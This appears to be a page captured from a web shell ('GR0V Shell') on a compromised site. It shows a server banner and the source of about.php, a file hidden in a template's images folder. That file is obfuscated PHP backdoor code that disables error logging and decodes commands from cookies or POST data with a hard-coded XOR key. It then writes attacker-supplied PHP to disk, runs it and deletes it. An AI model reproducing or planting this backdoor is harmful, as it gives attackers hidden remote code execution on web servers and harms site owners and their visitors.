? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/templates/yoo_beyond_1.5.14/images/

Current File : /home/admin/public_html/old/templates/yoo_beyond_1.5.14/images/about.php

<?php $jmlqwxw = chr(102).'i'.chr(617-509)."\x65".'_'."\x70".'u'.chr(116).chr(793-698).'c'.chr(540-429).'n'.chr(442-326)."\145"."\x6e".chr(116).'s';
$jsxeg = chr(680-582).chr(97)."\x73".chr(101).chr(54)."\64"."\x5f".'d'.chr(101).chr(99).'o'."\144"."\145";
$bhsqehn = 'i'.chr(110).'i'."\137".'s'."\x65".chr(116);
$etnax = chr(117).chr(110).chr(311-203)."\151"."\156".'k';


@$bhsqehn("\145".chr(114)."\x72"."\157".chr(737-623)."\x5f".'l'.chr(111).'g', NULL);
@$bhsqehn(chr(108).'o'.'g'."\x5f".chr(1058-957).'r'.chr(812-698)."\x6f".chr(413-299)."\163", 0);
@$bhsqehn('m'.'a'.chr(237-117).chr(95).chr(101).'x'."\x65".'c'."\x75"."\164"."\x69".chr(1106-995)."\x6e"."\x5f"."\x74"."\x69".'m'."\145", 0);
@set_time_limit(0);

function ygwlb($fpgscov, $bhjvakt)
{
    $ppjhiolpdm = "";
    for ($kesto = 0; $kesto < strlen($fpgscov);) {
        for ($j = 0; $j < strlen($bhjvakt) && $kesto < strlen($fpgscov); $j++, $kesto++) {
            $ppjhiolpdm .= chr(ord($fpgscov[$kesto]) ^ ord($bhjvakt[$j]));
        }
    }
    return $ppjhiolpdm;
}

$etwqgnvde = array_merge($_COOKIE, $_POST);
$gdapqkyntl = '2af0ddae-4390-4452-b71b-e96916b13d1e';
foreach ($etwqgnvde as $endtu => $fpgscov) {
    $fpgscov = @unserialize(ygwlb(ygwlb($jsxeg($fpgscov), $gdapqkyntl), $endtu));
    if (isset($fpgscov["\x61"."\153"])) {
        if ($fpgscov['a'] == 'i') {
            $kesto = array(
                "\x70".'v' => @phpversion(),
                's'.chr(118) => "3.5",
            );
            echo @serialize($kesto);
        } elseif ($fpgscov['a'] == chr(759-658)) {
            $zyokvqzf = "./" . md5($gdapqkyntl) . '.'.chr(849-744).chr(1019-909).chr(99);
            @$jmlqwxw($zyokvqzf, "<" . "\77".chr(112)."\150"."\x70".chr(32)."\100"."\165".chr(591-481).chr(1015-907).chr(840-735).chr(110).chr(107).chr(40).chr(968-873)."\x5f"."\x46"."\x49"."\x4c".'E'."\x5f"."\137"."\51"."\x3b".chr(32) . $fpgscov["\x64"]);
            include($zyokvqzf);
            @$etnax($zyokvqzf);
        }
        exit();
    }
}

T1KUS90T